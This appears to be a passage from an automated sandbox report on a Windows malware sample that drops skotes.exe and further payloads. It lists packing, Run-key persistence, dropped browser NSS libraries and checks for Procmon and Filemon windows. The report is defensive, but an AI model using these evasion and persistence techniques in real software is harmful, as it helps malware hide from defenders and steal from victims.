Source:	Binary string: my_library.pdb source: 06339d0580.exe, 00000010.00000003.3052944187.000000000831B000.00000004.00001000.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3403739193.0000000005E0C000.00000040.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3466757307.000000006C881000.00000002.00000001.01000000.0000000D.sdmp, 2bbe886987.exe, 00000011.00000003.2914827071.00000000051DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3395872833.0000000005C1C000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3292954731.00000000081DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000018.00000002.3359791803.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000018.00000003.3096329749.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.17.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.17.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.17.dr
Source:	Binary string: nss3.pdb source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 23e9bcc0a0.exe, 00000016.00000002.3150380365.0000000000EA2000.00000040.00000001.01000000.0000000E.sdmp, 23e9bcc0a0.exe, 00000016.00000003.3014284189.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, 23e9bcc0a0.exe, 00000024.00000003.3212874554.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, 23e9bcc0a0.exe, 00000024.00000002.3254841480.0000000000EA2000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: mozglue.pdb source: 2bbe886987.exe, 00000011.00000002.3466145872.000000006C5FD000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.17.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.780000.0.unpack :EW;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.780000.0.unpack :EW;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.780000.0.unpack :EW;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lfjbhkvb:EW;xakcdfow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Unpacked PE file: 16.2.06339d0580.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W;hskfpfnm:EW;esxidcrg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hskfpfnm:EW;esxidcrg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Unpacked PE file: 17.2.2bbe886987.exe.750000.0.unpack :EW;.rsrc :W;.idata :W; :EW;olexbnfi:EW;abdjuqmy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;olexbnfi:EW;abdjuqmy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Unpacked PE file: 21.2.06339d0580.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W;hskfpfnm:EW;esxidcrg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hskfpfnm:EW;esxidcrg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Unpacked PE file: 22.2.23e9bcc0a0.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;tfblgdez:EW;iqtyxzos:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Unpacked PE file: 24.2.2bbe886987.exe.750000.0.unpack :EW;.rsrc :W;.idata :W; :EW;olexbnfi:EW;abdjuqmy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;olexbnfi:EW;abdjuqmy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Unpacked PE file: 36.2.23e9bcc0a0.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;tfblgdez:EW;iqtyxzos:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Unpacked PE file: 39.2.06339d0580.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W;hskfpfnm:EW;esxidcrg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hskfpfnm:EW;esxidcrg:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.15.dr	Static PE information: real checksum: 0x311e11 should be: 0x30ea46
Source: 23e9bcc0a0.exe.15.dr	Static PE information: real checksum: 0x2c06f9 should be: 0x2c3caf
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: real checksum: 0x334db8 should be: 0x331a8c
Source: random[1].exe.17.dr	Static PE information: real checksum: 0x334db8 should be: 0x331a8c
Source: random[1].exe0.15.dr	Static PE information: real checksum: 0x2118ef should be: 0x217ccb
Source: 06339d0580.exe.15.dr	Static PE information: real checksum: 0x311e11 should be: 0x30ea46
Source: chrome.dll.17.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: 2bbe886987.exe.15.dr	Static PE information: real checksum: 0x2118ef should be: 0x217ccb
Source: random[1].exe1.15.dr	Static PE information: real checksum: 0x2c06f9 should be: 0x2c3caf
Source: file.exe	Static PE information: real checksum: 0x334db8 should be: 0x331a8c
Source: skotes.exe.1.dr	Static PE information: real checksum: 0x334db8 should be: 0x331a8c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: lfjbhkvb
Source: file.exe	Static PE information: section name: xakcdfow
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name: lfjbhkvb
Source: skotes.exe.1.dr	Static PE information: section name: xakcdfow
Source: skotes.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.15.dr	Static PE information: section name:
Source: random[1].exe.15.dr	Static PE information: section name: .idata
Source: random[1].exe.15.dr	Static PE information: section name: hskfpfnm
Source: random[1].exe.15.dr	Static PE information: section name: esxidcrg
Source: random[1].exe.15.dr	Static PE information: section name: .taggant
Source: 06339d0580.exe.15.dr	Static PE information: section name:
Source: 06339d0580.exe.15.dr	Static PE information: section name: .idata
Source: 06339d0580.exe.15.dr	Static PE information: section name: hskfpfnm
Source: 06339d0580.exe.15.dr	Static PE information: section name: esxidcrg
Source: 06339d0580.exe.15.dr	Static PE information: section name: .taggant
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: olexbnfi
Source: random[1].exe0.15.dr	Static PE information: section name: abdjuqmy
Source: random[1].exe0.15.dr	Static PE information: section name: .taggant
Source: 2bbe886987.exe.15.dr	Static PE information: section name:
Source: 2bbe886987.exe.15.dr	Static PE information: section name: .rsrc
Source: 2bbe886987.exe.15.dr	Static PE information: section name: .idata
Source: 2bbe886987.exe.15.dr	Static PE information: section name:
Source: 2bbe886987.exe.15.dr	Static PE information: section name: olexbnfi
Source: 2bbe886987.exe.15.dr	Static PE information: section name: abdjuqmy
Source: 2bbe886987.exe.15.dr	Static PE information: section name: .taggant
Source: random[1].exe1.15.dr	Static PE information: section name:
Source: random[1].exe1.15.dr	Static PE information: section name: .idata
Source: random[1].exe1.15.dr	Static PE information: section name: tfblgdez
Source: random[1].exe1.15.dr	Static PE information: section name: iqtyxzos
Source: random[1].exe1.15.dr	Static PE information: section name: .taggant
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name:
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name: .idata
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name: tfblgdez
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name: iqtyxzos
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name: .taggant
Source: nss3.dll.17.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.17.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.17.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.17.dr	Static PE information: section name: .00cfg
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name:
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name: .idata
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name: lfjbhkvb
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name: xakcdfow
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name: lfjbhkvb
Source: random[1].exe.17.dr	Static PE information: section name: xakcdfow
Source: random[1].exe.17.dr	Static PE information: section name: .taggant
Source: freebl3.dll.17.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.17.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.17.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.17.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.17.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.17.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003DD91C push ecx; ret	1_2_003DD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003D1359 push es; ret	1_2_003D135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_0079D91C push ecx; ret	4_2_0079D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0079D91C push ecx; ret	5_2_0079D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0079D91C push ecx; ret	15_2_0079D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0079DFC6 push ecx; ret	15_2_0079DFD9
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE14BE pushad ; iretd	16_3_00BE14C6
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE14BE pushad ; iretd	16_3_00BE14C6
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE14BE pushad ; iretd	16_3_00BE14C6
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE0238 push ebp; retn 0000h	16_3_00BE023E
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE0238 push ebp; retn 0000h	16_3_00BE023E
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE0238 push ebp; retn 0000h	16_3_00BE023E
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BDF61D push edx; retn 0000h	16_3_00BDF61E
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BDF61D push edx; retn 0000h	16_3_00BDF61E
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BDF61D push edx; retn 0000h	16_3_00BDF61E
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE17D4 pushfd ; iretd	16_3_00BE18F1
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE17D4 pushfd ; iretd	16_3_00BE18F1
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00BE17D4 pushfd ; iretd	16_3_00BE18F1
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C25451 push esp; retn 0000h	16_3_00C25452
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C25451 push esp; retn 0000h	16_3_00C25452
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C25451 push esp; retn 0000h	16_3_00C25452
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C254E1 push esp; retn 0000h	16_3_00C254E2
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C254E1 push esp; retn 0000h	16_3_00C254E2
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C254E1 push esp; retn 0000h	16_3_00C254E2
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C25F69 push esi; ret	16_3_00C25F6A
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C25F69 push esi; ret	16_3_00C25F6A
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C25F69 push esi; ret	16_3_00C25F6A
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C26172 push esi; ret	16_3_00C2617A
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C26172 push esi; ret	16_3_00C2617A
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C26172 push esi; ret	16_3_00C2617A
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Code function: 16_3_00C26BF2 pushad ; ret	16_3_00C26BFA

Source: file.exe	Static PE information: section name: entropy: 7.088281231299538
Source: skotes.exe.1.dr	Static PE information: section name: entropy: 7.088281231299538
Source: random[1].exe.15.dr	Static PE information: section name: entropy: 7.0206680787263975
Source: 06339d0580.exe.15.dr	Static PE information: section name: entropy: 7.0206680787263975
Source: random[1].exe0.15.dr	Static PE information: section name: olexbnfi entropy: 7.953747071339489
Source: 2bbe886987.exe.15.dr	Static PE information: section name: olexbnfi entropy: 7.953747071339489
Source: random[1].exe1.15.dr	Static PE information: section name: entropy: 7.804777064433575
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name: entropy: 7.804777064433575
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name: entropy: 7.088281231299538
Source: random[1].exe.17.dr	Static PE information: section name: entropy: 7.088281231299538

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

File created: C:\Users\user\DocumentsJEHJKJEBGH.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\DocumentsJEHJKJEBGH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

File created: C:\Users\user\DocumentsJEHJKJEBGH.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 23e9bcc0a0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2bbe886987.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 06339d0580.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

File created: C:\Users\user\DocumentsJEHJKJEBGH.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: RegmonClass
